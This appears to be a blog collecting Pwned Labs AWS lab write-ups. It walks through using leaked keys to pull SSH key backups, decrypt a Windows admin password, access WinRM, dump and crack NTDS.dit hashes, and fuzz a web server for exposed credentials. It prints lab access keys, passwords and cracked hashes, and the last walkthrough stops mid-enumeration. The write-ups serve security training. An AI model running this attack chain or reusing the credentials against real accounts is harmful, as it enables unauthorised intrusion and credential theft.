x-amz-cf-pop: SIN52-C3
x-amz-cf-id: vfUdSArLUYjba5RRaQSEQc0xXjWp1ypUc0DJj4oHHNFC3eCC7qEIwQ==

{"Message":"User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:us-west-2:********8242:dyte6595bf/api/GET/prod"}%

We have updated the policy, but still not able to access it. Why? Looking through the documentation we have to redeploy the endpoint which we shall now do.

Ensure that you specify a Stage Name as per https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-deploy-api-with-console.html#how-to-deploy-api-console

❯ aws --profile pentester apigateway create-deployment --rest-api-id dyte6595bf --stage-name api
{
    "id": "a5kcxr",
    "createdDate": "2024-07-05T12:33:02+08:00"
}

We are able to access this form anywhere now

❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/prod -X GET
HTTP/2 200
content-type: application/json
content-length: 44
date: Fri, 05 Jul 2024 04:43:27 GMT
x-amzn-requestid: 2bd9c8ee-9215-4556-a702-194050af33f8
x-amz-apigw-id: aa_9gHnBPHcEe4w=
x-cache: Miss from cloudfront
via: 1.1 c2e4ac979e01c116ae8349b7d6d1489a.cloudfront.net (CloudFront)
x-amz-cf-pop: SIN52-C3
x-amz-cf-id: XGJ18QRei4ePHMiFHBgsvJdCi5okgJcMSY-XKnrxxhZOzD5S3O0h5g==

{"flag": "redacted"}%

PWNED!

Pwned Labs - Leverage Insecure Storage and Backups for Profit

Wed, 03 Jul 2024 20:12:43 +0800

Leverage Insecure Storage and Backups for Profit

Scenario

Your team stumbled upon AWS credentials on a compromised IT workstation. Your mission now is to use these credentials to probe Huge Logistics’ cloud infrastructure. Dive in, seek out sensitive data, and identify accessible critical resources to determine the potential extent of exposure.

Learning Outcomes

IAM and S3 bucket policy enumeration
Obtaining the Windows administrator password from a launch key
PowerShell installation and configuration on Linux and Windows
Extracting password hashes from a local NTDS.dit
Cracking NT hashes
An understanding on how this could have been prevented

Real World Context

Exposed backups and images on file shares and buckets is common vector with both on-premise and cloud infrastructure. Backups often contain a wealth of sensitive data, including user credentials, databases, configuration files, and more. Gaining access to a backup can provide an attacker with the same level of data access as compromising the primary system. Once an attacker has credentials or other sensitive data from a backup, they can use this information to move laterally and vertically within a network or cloud environment. Sensitive data is often publicly leaked on cloud storage. We can search for sensitive files using the GreyhatWarfare service.

Entry Point

Access Key: AKIAWHEOTHRFRH64EQRI
Secret Key: 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

Attack

We have credentials, so the first thing to do is configure our AWS CLI client and see if they are valid and for which account. We have the Account Number and can see that this account is associated with a user account called contractor.

❯ aws --profile pentester configure
AWS Access Key ID [None]: AKIAWHEOTHRFRH64EQRI
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:

❯ aws --profile pentester sts get-caller-identity
{
    "UserId": "AIDAWHEOTHRFTEMEHGPPY",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/contractor"
}

We first see if there are any attached user policies to the account and we can see that there are two, Policy and AWSCompromisedKeyQuarantineV2. We don’t have permissions to the AWSCompromisedKeyQuarantineV2 policy, but we do have access to the other.

❯ aws --profile pentester iam list-attached-user-policies --user-name contractor
{
    "AttachedPolicies": [
        {
            "PolicyName": "Policy",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Policy"
        },
        {
            "PolicyName": "AWSCompromisedKeyQuarantineV2",
            "PolicyArn": "arn:aws:iam::aws:policy/AWSCompromisedKeyQuarantineV2"
        }
    ]
}

We list out the details of the Policy and see that this is Version 4 which we will further enumerate

❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Policy
{
    "Policy": {
        "PolicyName": "Policy",
        "PolicyId": "ANPAWHEOTHRFXRFIVBEXM",
        "Arn": "arn:aws:iam::427648302155:policy/Policy",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-07-27T17:39:55+00:00",
        "UpdateDate": "2023-07-28T14:24:22+00:00",
        "Tags": []
    }
}

We retrieve the details of the policy.

❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Policy --version-id v4
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": "ec2:DescribeInstances",
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "ec2:GetPasswordData",
                    "Resource": "arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5"
                },
                {
                    "Sid": "VisualEditor2",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:GetUserPolicy",
                        "iam:ListAttachedUserPolicies",
                        "s3:GetBucketPolicy"
                    ],
                    "Resource": [
                        "arn:aws:iam::427648302155:user/contractor",
                        "arn:aws:iam::427648302155:policy/Policy",
                        "arn:aws:s3:::hl-it-admin"
                    ]
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2023-07-28T14:24:22+00:00"
    }
}

There is some interesting information and in summary the above policy:

Allows describing instances (ec2:DescribeInstances) for all resources.
Allows getting password data (ec2:GetPasswordData) for a specific instance (arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5).
Allows multiple IAM actions (iam:GetPolicyVersion, iam:GetPolicy, iam:GetUserPolicy, iam:ListAttachedUserPolicies).
Allows getting S3 bucket policy (arn:aws:s3:::hl-it-admin).

Let’s start with looking at the bucket policy.

❯ aws --profile pentester s3api get-bucket-policy --bucket hl-it-admin

{
    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::427648302155:user/contractor\"},\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::hl-it-admin/ssh_keys/ssh_keys_backup.zip\"}]}"
}

Whilst the above is readable, we will make the output cleaner by parsing it to jq and we can see that we have access to ssh_keys_backup.zip

❯ aws --profile pentester s3api get-bucket-policy --bucket hl-it-admin | jq -r '.Policy | fromjson'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::427648302155:user/contractor"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::hl-it-admin/ssh_keys/ssh_keys_backup.zip"
    }
  ]
}

With this information, we shall download the zip file and then list the contents which shows that there are several key pairs

❯ aws --profile pentester s3 cp s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip .
download: s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip to ./ssh_keys_backup.zip

❯ unzip -l ssh_keys_backup.zip
Archive:  ssh_keys_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     2590  2023-07-27 18:31   audit.pem
     2602  2023-07-27 18:31   contractor.pem
     2062  2023-07-27 18:31   contractor.ppk
     2602  2023-07-27 18:31   iam-audit.pem
     1678  2023-07-27 18:32   it-admin.pem
     1678  2023-07-27 18:32   jenkins.pem
     2602  2023-07-27 18:32   octopus-deploy.pem
     2590  2023-07-27 18:32   sunita-adm.pem
     1679  2023-07-27 18:32   viewer-dev.pem
     1428  2023-07-27 18:32   viewer-dev.ppk
---------                     -------
    21511                     10 files

So we have a list of keys for some high privileged accounts, but we need to find out where we can leverage those. You will recall that our account has ability to DescribeInstances on EC2 as well as GetPasswordData for a defined EC2 instance which we will explore further.

❯ aws --profile pentester ec2 describe-instances --instance-ids i-04cc1c2c7ec1af1b5
{
    "Reservations": [
        {
            "Groups": [],
            "Instances": [
                {
                    "AmiLaunchIndex": 0,
                    "ImageId": "ami-0ae60b1f2a289b01e",
                    "InstanceId": "i-04cc1c2c7ec1af1b5",
                    "InstanceType": "t2.micro",
                    "KeyName": "it-admin",
                    "LaunchTime": "2023-07-27T18:13:47+00:00",
                    "Monitoring": {
                        "State": "disabled"
                    },
                    "Placement": {
                        "AvailabilityZone": "us-east-1b",
                        "GroupName": "",
                        "Tenancy": "default"
                    },
                    "Platform": "windows",
                    "PrivateDnsName": "ip-172-31-93-149.ec2.internal",
                    "PrivateIpAddress": "172.31.93.149",
                    "ProductCodes": [],
                    "PublicDnsName": "ec2-44-204-191-38.compute-1.amazonaws.com",
                    "PublicIpAddress": "44.204.191.38",
                    "State": {
                        "Code": 16,
                        "Name": "running"
                    },
                    "StateTransitionReason": "",
                    "SubnetId": "subnet-02700fc3bdb2a97ac",
                    "VpcId": "vpc-088b21ff238e2caed",
                    "Architecture": "x86_64",
                    "BlockDeviceMappings": [
                        {
                            "DeviceName": "/dev/sda1",
                            "Ebs": {
                                "AttachTime": "2023-07-27T18:13:48+00:00",
                                "DeleteOnTermination": true,
                                "Status": "attached",
                                "VolumeId": "vol-07411201581e71552"
                            }
                        }
                    ],
                    "ClientToken": "04674e37-22e8-44b8-afff-94f5e36a4356",
                    "EbsOptimized": false,
                    "EnaSupport": true,
                    "Hypervisor": "xen",
                    "NetworkInterfaces": [
                        {
                            "Association": {
                                "IpOwnerId": "amazon",
                                "PublicDnsName": "ec2-44-204-191-38.compute-1.amazonaws.com",
                                "PublicIp": "44.204.191.38"
                            },
                            "Attachment": {
                                "AttachTime": "2023-07-27T18:13:47+00:00",
                                "AttachmentId": "eni-attach-039c3eace03c5924e",
                                "DeleteOnTermination": true,
                                "DeviceIndex": 0,
                                "Status": "attached",
                                "NetworkCardIndex": 0
                            },
                            "Description": "",
                            "Groups": [
                                {
                                    "GroupName": "launch-wizard-19",
                                    "GroupId": "sg-0ae31edc4377d337b"
                                }
                            ],
                            "Ipv6Addresses": [],
                            "MacAddress": "12:7b:11:42:a4:0d",
                            "NetworkInterfaceId": "eni-070802f93fd899fe9",
                            "OwnerId": "427648302155",
                            "PrivateDnsName": "ip-172-31-93-149.ec2.internal",
                            "PrivateIpAddress": "172.31.93.149",
                            "PrivateIpAddresses": [
                                {
                                    "Association": {
                                        "IpOwnerId": "amazon",
                                        "PublicDnsName": "ec2-44-204-191-38.compute-1.amazonaws.com",
                                        "PublicIp": "44.204.191.38"
                                    },
                                    "Primary": true,
                                    "PrivateDnsName": "ip-172-31-93-149.ec2.internal",
                                    "PrivateIpAddress": "172.31.93.149"
                                }
                            ],
                            "SourceDestCheck": true,
                            "Status": "in-use",
                            "SubnetId": "subnet-02700fc3bdb2a97ac",
                            "VpcId": "vpc-088b21ff238e2caed",
                            "InterfaceType": "interface"
                        }
                    ],
                    "RootDeviceName": "/dev/sda1",
                    "RootDeviceType": "ebs",
                    "SecurityGroups": [
                        {
                            "GroupName": "launch-wizard-19",
                            "GroupId": "sg-0ae31edc4377d337b"
                        }
                    ],
                    "SourceDestCheck": true,
                    "Tags": [
                        {
                            "Key": "Name",
                            "Value": "Backup"
                        }
                    ],
                    "VirtualizationType": "hvm",
                    "CpuOptions": {
                        "CoreCount": 1,
                        "ThreadsPerCore": 1
                    },
                    "CapacityReservationSpecification": {
                        "CapacityReservationPreference": "open"
                    },
                    "HibernationOptions": {
                        "Configured": false
                    },
                    "MetadataOptions": {
                        "State": "applied",
                        "HttpTokens": "optional",
                        "HttpPutResponseHopLimit": 1,
                        "HttpEndpoint": "enabled",
                        "HttpProtocolIpv6": "disabled",
                        "InstanceMetadataTags": "disabled"
                    },
                    "EnclaveOptions": {
                        "Enabled": false
                    },
                    "PlatformDetails": "Windows",
                    "UsageOperation": "RunInstances:0002",
                    "UsageOperationUpdateTime": "2023-07-27T18:13:47+00:00",
                    "PrivateDnsNameOptions": {
                        "HostnameType": "ip-name",
                        "EnableResourceNameDnsARecord": true,
                        "EnableResourceNameDnsAAAARecord": false
                    },
                    "MaintenanceOptions": {
                        "AutoRecovery": "default"
                    },
                    "CurrentInstanceBootMode": "legacy-bios"
                }
            ],
            "OwnerId": "427648302155",
            "ReservationId": "r-005e5ae930185ce9f"
        }
    ]
}

There is a LOT of information above and whilst we could filter this for the key information that we need via the AWS CLI, I personally find it easier to do it via jq to extract key information that we need to move forward.

❯ aws --profile pentester ec2 describe-instances --instance-ids i-04cc1c2c7ec1af1b5 | jq -r '.Reservations[].Instances[] | {InstanceId, InstanceType, KeyName, LaunchTime, PrivateIpAddress, PublicIpAddress, PublicDnsName, PlatformDetails, State: .State.Name, AvailabilityZone: .Placement.AvailabilityZone, SubnetId, VpcId, SecurityGroups, Tags}'
{
  "InstanceId": "i-04cc1c2c7ec1af1b5",
  "InstanceType": "t2.micro",
  "KeyName": "it-admin",
  "LaunchTime": "2023-07-27T18:13:47+00:00",
  "PrivateIpAddress": "172.31.93.149",
  "PublicIpAddress": "44.204.191.38",
  "PublicDnsName": "ec2-44-204-191-38.compute-1.amazonaws.com",
  "PlatformDetails": "Windows",
  "State": "running",
  "AvailabilityZone": "us-east-1b",
  "SubnetId": "subnet-02700fc3bdb2a97ac",
  "VpcId": "vpc-088b21ff238e2caed",
  "SecurityGroups": [
    {
      "GroupName": "launch-wizard-19",
      "GroupId": "sg-0ae31edc4377d337b"
    }
  ],
  "Tags": [
    {
      "Key": "Name",
      "Value": "Backup"
    }
  ]
}

We can see that this was launched using the it-admin SSH Key (which we have) as well as the public IP and DNS name and that it is running Windows. Our assumption is that this is running either SSH, RDP or WinRM so we will run masscan against the target and have confirmed that Port 5985 (WinRM) is open

sudo masscan -p- -e tun0 --rate=10000 44.204.191.38
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-07-03 03:57:58 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 5985/tcp on 44.204.191.38
rate:  0.00-kpps, 100.00% done

We then retrieve the password

❯ aws --profile pentester ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5 --priv-launch-key it-admin.pem
{
    "InstanceId": "i-04cc1c2c7ec1af1b5",
    "PasswordData": "UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!",
    "Timestamp": "2023-07-27T22:39:26+00:00"
}

If the private key isn’t specified nor in the path of where the command is executed from you will get encrypted Password Data

As we have WinRM open and we know the password we can use evil-winrm to connect which unfortunately didn’t work as there must be additional security measures in place.

❯ evil-winrm -i 44.204.191.38 -u Administrator -p 'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS The term 'Invoke-Expression' is not recognized as the name of a cmdlet, function, script file, or operable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.    + CategoryInfo
 : ObjectNotFound: (Invoke-Expression:String) [], CommandNotFoundException    + FullyQualifiedErrorId : CommandNotFoundException>

Time for Plan B, we shall use Powershell. Whilst I appreciate that Linux has PowerShell, it is best to just run this from a Windows box and I connect to one via RDP and execute the commands from there as it is less headache and stress using the command xfreerdp /u:username /p:password /v:1.2.3.4 /dynamic-resolution /drive:home/,. +clipboard which gives me access to the Home drive on my computer as well as clipboard access.

PS C:\ > $password = ConvertTo-SecureString -AsPlainText -Force -String 'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!'
PS C:\ > $credential = New-Object System.Management.Automation.PSCredential "Administrator",$password
PS C:\ > Enter-PSSession -ComputerName 44.204.191.38 -Credential $credential

We got an error and had to do some troubleshooting and ended up doing the following

PS C:\ > winrm quickconfig
WinRM is not set up to receive requests on this machine.
The following changes must be made:

Start the WinRM service.
Set the WinRM service type to delayed auto start.

Make these changes [y/n]? y

WinRM has been updated to receive requests.

WinRM service type changed successfully.
WinRM service started.
WSManFault
    Message
        ProviderFault
            WSManFault
                Message = WinRM firewall exception will not work since one of the network connection types on this machine is set to Public. Change the network connection type to either Domain or Private and try again.

Error number:  -2144108183 0x80338169
WinRM firewall exception will not work since one of the network connection types on this machine is set to Public. Change the network connection type to either Domain or Private and try again.
PS C:\ > Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*"
>>

WinRM Security Configuration.
This command modifies the TrustedHosts list for the WinRM client. The computers in the TrustedHosts list might not be authenticated. The client might send credential information to these
computers. Are you sure that you want to modify this list?
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y

After this we are able to connect

PS C:\ > Enter-PSSession -ComputerName 44.204.191.38 -Credential $credential
[44.204.191.38]: PS>whoami
winrm virtual users\winrm va_115_veeamprox02_administrator
[44.204.191.38]: PS>

We aren’t able to run basic commands such as ls or dir without getting an error message, so we ran get-command which gave us the subset of commands that we have to work with.

[44.204.191.38]: PS>get-command

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Clear-Host
Function        Exit-PSSession
Function        Get-Command
Function        Get-FormatData
Function        Get-Help
Function        Measure-Object
Function        Out-Default
Function        Select-Object
Cmdlet          Get-ChildItem                                      3.0.0.0    Microsoft.PowerShell.Management
Cmdlet          Get-Content                                        3.0.0.0    Microsoft.PowerShell.Management
Cmdlet          Get-Process                                        3.0.0.0    Microsoft.PowerShell.Management
Cmdlet          Get-Service                                        3.0.0.0    Microsoft.PowerShell.Management

There is not much in the default Administrators account, but there is another account called admin that does contain a .aws directory and we have found another set of keys that we can use.

[44.204.191.38]: PS>get-childitem c:\users\admin -force


    Directory: C:\users\admin


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/28/2023  11:38 AM                .aws
d-r---        7/28/2023  11:35 AM                3D Objects
d--h--       11/14/2018   4:17 PM                AppData
d--hsl        7/28/2023  11:35 AM                Application Data
d-r---        7/28/2023  11:35 AM                Contacts
d--hsl        7/28/2023  11:35 AM                Cookies
d-r---        7/28/2023  11:35 AM                Desktop
< --- snip --- >

[44.204.191.38]: PS>get-content c:\users\admin\.aws\credentials
[default]
aws_access_key_id = AKIAWHEOTHRFT5Q4524N
aws_secret_access_key = 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

With these credentials, we can finally return back to Linux and we will update our configuration and verify the keys and see that we are it-admin

❯ aws --profile admin configure
AWS Access Key ID [None]: AKIAWHEOTHRFT5Q4524N
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:


~/Hacking/PwnedLabs/LeverageInsecureStorageBackups                                                                     20s  12:58:58
❯ aws --profile admin sts get-caller-identity
{
    "UserId": "AIDAWHEOTHRFWB4TQKI2X",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/it-admin"
}

We go back and look at the S3 bucket from earlier and we can see an ntds.dit file which is an Active Directory Database and we shall definitely download that and extract the hashes

❯ aws --profile admin s3 ls s3://hl-it-admin --recursive
2023-07-28 20:35:38          0 backup-2807/
2023-07-28 23:52:58   33554432 backup-2807/ad_backup/Active Directory/ntds.dit
2023-07-28 23:53:07      16384 backup-2807/ad_backup/Active Directory/ntds.jfm
2023-07-28 23:53:06      65536 backup-2807/ad_backup/registry/SECURITY
2023-07-28 23:52:58   17825792 backup-2807/ad_backup/registry/SYSTEM
2023-07-27 23:51:45         99 contractor_accessKeys.csv
2023-07-28 19:50:49          0 docs/
2023-07-28 19:51:07   10591957 docs/veeam_backup_12_agent_management_guide.pdf
2023-07-28 19:51:09    9408343 docs/veeam_backup_12_cloud_administrator_guide.pdf
2023-07-28 19:47:07         32 flag.txt
2023-07-27 23:53:06          0 installer/
2023-07-28 05:02:47 1579290624 installer/Veeam.iso
2023-07-28 01:34:24          0 ssh_keys/
2023-07-28 21:48:18      17483 ssh_keys/ssh_keys_backup.zip

We shall download the backup-2807 folder to our local machine

❯ aws --profile admin s3 cp s3://hl-it-admin/backup-2807 . --recursive
download: s3://hl-it-admin/backup-2807/ad_backup/Active Directory/ntds.jfm to ad_backup/Active Directory/ntds.jfm
download: s3://hl-it-admin/backup-2807/ad_backup/registry/SECURITY to ad_backup/registry/SECURITY
download: s3://hl-it-admin/backup-2807/ad_backup/registry/SYSTEM to ad_backup/registry/SYSTEM
download: s3://hl-it-admin/backup-2807/ad_backup/Active Directory/ntds.dit to ad_backup/Active Directory/ntds.dit

We have used impacket-secretsdump and have dumped all the hashes

❯ impacket-secretsdump -ntds ad_backup/Active\ Directory/ntds.dit -system ad_backup/registry/SYSTEM local
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0x8e47e7e457e33035cfabaea711975407
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 6df8fdd3a446ef9ed1a64c6a03a28ce2
[*] Reading and decrypting hashes from ad_backup/Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC04$:1003:aad3b435b51404eeaad3b435b51404ee:fc15058af730b1de899a7aa6759e894c:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb22f21bc86dfe7b0073d9f9f722ae0e:::
huge-logistics.local\leandra.joice:1232:aad3b435b51404eeaad3b435b51404ee:84cfc9ded98b57bcc517375c5911ca2c:::
huge-logistics.local\leigh.simone:1233:aad3b435b51404eeaad3b435b51404ee:ad32cc080b0aeb6531200bdaef08adb6:::
huge-logistics.local\hilliary.kim:1234:aad3b435b51404eeaad3b435b51404ee:52edd5f46cf02573d5e2392c67fa0183:::
huge-logistics.local\melanie.ashlie:1235:aad3b435b51404eeaad3b435b51404ee:58f507bbf45e920e5f3af9ea39bf8407:::
< -- snip -- >

We will clean this up and then pass it into a file for cracking the hashes. With all the hashes in VIM, removed the unnecessary lines at the top and then Visually Selected all the lines, and in command mode enter awk -F ":" '{print $4}' and this returns all the values at which point we write this out to a file.

Using hashcat with the command hashcat -m 1000 hashes /usr/share/wordlist/rockyou.txt we got the following passwords

c52abb1e14677d7ea228fcc1171ed7b7:daniel
89c99393bfe3c0a95deba6dcb0b12b43:123abc
a4a02c448197f67cd9e982a5e5d0acc3:rabbit
1674049edd3d39cead200b0fee90982a:knight
89492d216d0a212f8ed54fc5ac9d340b:qazwsxedc
4d4df769e6b9b338fabda5846cf85792:
31d6cfe0d16ae931b73c59d7e0c089c0:
58a478135a93ac3bf058a5ea0e8fdb71:Password123

We got a little creative and then decided to match the usernames with the passwords

❯ while IFS=':' read -r key password; do grep -F "$key" hashdump | sed "s/$key/$key:$password/"; done < cracked_passwords
huge-logistics.local\rebeca.juliette:1359:aad3b435b51404eeaad3b435b51404ee:c52abb1e14677d7ea228fcc1171ed7b7:daniel:::
mssql_svc:1362:aad3b435b51404eeaad3b435b51404ee:89c99393bfe3c0a95deba6dcb0b12b43:123abc:::
huge-logistics.local\blair.rosabella:1358:aad3b435b51404eeaad3b435b51404ee:a4a02c448197f67cd9e982a5e5d0acc3:rabbit:::
huge-logistics.local\ketty.carma:1261:aad3b435b51404eeaad3b435b51404ee:1674049edd3d39cead200b0fee90982a:knight:::
huge-logistics.local\lanette.kiele:1278:aad3b435b51404eeaad3b435b51404ee:89492d216d0a212f8ed54fc5ac9d340b:qazwsxedc:::
huge-logistics.local\hali.lombard:1238:aad3b435b51404eeaad3b435b51404ee:4d4df769e6b9b338fabda5846cf85792::::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:Password123:::

PWNED!

Pwned Labs - Assume Privileged Role with External ID

Tue, 02 Jul 2024 12:12:47 +0800

Assume Privileged Role with External ID

Scenario

Huge Logistics, a global force in the logistics and shipping industry, has reached out to your firm for a comprehensive security evaluation spanning both their on-premises and cloud setups. Early reconnaissance pointed out the IP address 52.0.51.234 as part of their digital footprint. Your mission is clear: use this IP as your entry point, navigate laterally through their system, and determine potential areas of impact. This isn’t just a test of their defenses, but a test of your skill to find weak spots in a vast network. Time to dive in and uncover what lies beneath!

Learning Outcomes

Using ffuf to fuzz web server files
Familiarity with the AWS CLI
Use aws-enumerator to automate permission enumeration
Enumerating and extracting secrets from AWS Secrets Manager
Enumerating IAM users, roles and policies using the AWS CLI
Assuming a role using that requires an External ID
Obtaining AWS keys from an AWS Console session

Real World Context

The scenario starts with an exposed configuration file on a web servers, which is a common real-world security issue. In September 2022 the HackerOne user 0r10nh4ck submitted a report to U.S. Dept Of Defense, revealing that one of their servers was exposing a config.json file that contained AWS credentials for their account. Using AssumeRole is conceptually similar to the sudo command on Linux, in that it enables you to delegate access to AWS resources without sharing your AWS account root, and an IAM user is given temporary credentials to perform a privileged operation. It is also possible to specify that the caller specify an External ID (similar to sudo requiring a password). External ID is a unique identifier that third parties use to assume a role in their customers’ account.

Attack

First thing we need to do is enumerate the target and for a public facing IP I would use Shodan but this returned no results for the IP Address so we resort back to trusty nmap which shows us Port 80 is open.

❯ nmap -e tun0 -Pn 52.0.51.234
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 09:15 PST
Nmap scan report for 52.0.51.234
Host is up (0.30s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 33.79 seconds

We visit the site and we are presented with the following landing page

Now that we have found a site, time to do some further enumeration to get an understanding of the land. There are a number of tools that can be used and my personal preference is initially feroxbuster for initial scan and then I switch across to ffuf as required. We are running a scan without recursion and looking for common file extensions and have found a config.json file

❯ feroxbuster -u http://52.0.51.234 -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -n -x json txt conf bak xml yml yaml env txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://52.0.51.234
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [json, txt, conf, bak, xml, yml, yaml, env, txt]
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      308c http://52.0.51.234/img => http://52.0.51.234/img/
200      GET        5l      264w    11231c http://52.0.51.234/css/agency.min.css
301      GET        9l       28w      308c http://52.0.51.234/css => http://52.0.51.234/css/
200      GET       75l      244w     2807c http://52.0.51.234/js/contact_me.js
200      GET       52l      278w    27787c http://52.0.51.234/img/about/2.jpg
200      GET        6l       25w     1092c http://52.0.51.234/js/agency.min.js
200      GET       25l      154w    12398c http://52.0.51.234/img/about/1.jpg
301      GET        9l       28w      307c http://52.0.51.234/js => http://52.0.51.234/js/
200      GET      221l     1617w   104367c http://52.0.51.234/img/2.png
200      GET        4l       66w    31000c http://52.0.51.234/vendor/font-awesome/css/font-awesome.min.css
200      GET        7l      883w    69453c http://52.0.51.234/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET      937l     2655w    37173c http://52.0.51.234/js/jqBootstrapValidation.js
200      GET        7l     1429w   127343c http://52.0.51.234/vendor/bootstrap/css/bootstrap.min.css
200      GET    10473l    61109w  5805642c http://52.0.51.234/img/portfolio/33.jpg
200      GET     4576l    26608w  2182772c http://52.0.51.234/img/portfolio/11.jpg
200      GET       20l       36w      832c http://52.0.51.234/config.json
200      GET     9055l    52213w  4615185c http://52.0.51.234/img/portfolio/22.jpg
200      GET      447l     1246w    18312c http://52.0.51.234/
301      GET        9l       28w      311c http://52.0.51.234/vendor => http://52.0.51.234/vendor/
[####################] - 19m   201550/201550  0s      found:19      errors:8
[####################] - 19m   201160/201160  172/s   http://52.0.51.234/

We use curl to retrieve the contents of the file and we have found a Access and Secret Key as well as an S3 Bucket and OAuth Settings.

❯ curl http://52.0.51.234/config.json
{"aws": {
        "accessKeyID": "AKIAWHEOTHRFYM6CAHHG",
        "secretAccessKey": "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",
        "region": "us-east-1",
        "bucket": "hl-data-download",
        "endpoint": "https://s3.amazonaws.com"
    },
    "serverSettings": {
        "port": 443,
        "timeout": 18000000
    },
    "oauthSettings": {
        "authorizationURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/authorize",
        "tokenURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/tokens",
        "clientID": "1012aBcD3456EfGh",
        "clientSecret": "aZ2x9bY4cV6wL8kP0sT7zQ5oR3uH6j",
        "callbackURL": "https://portal.huge-logistics/callback",
        "userProfileURL": "https://portal.huge-logistics.com/ms_oauth/resources/userprofile/me"
    }
}

We use the credentials found and then verify that these work by running aws sts get-caller-identity which is the equivalent of the whoami command.

❯ aws configure --profile pentester
AWS Access Key ID [****************NWX4]: AKIAWHEOTHRFYM6CAHHG
AWS Secret Access Key [****************TxXp]: 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
Default region name [None]: us-east-1
Default output format [None]:

❯ aws --profile pentester sts get-caller-identity
{
    "UserId": "AIDAWHEOTHRF7MLFMRGYH",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/data-bot"
}

With working credentials we will see if we are able to get any information initially from the bucket that was listed in the config.json file, but all we find are what appears to be transaction logs.

❯ aws --profile pentester s3 ls s3://hl-data-download
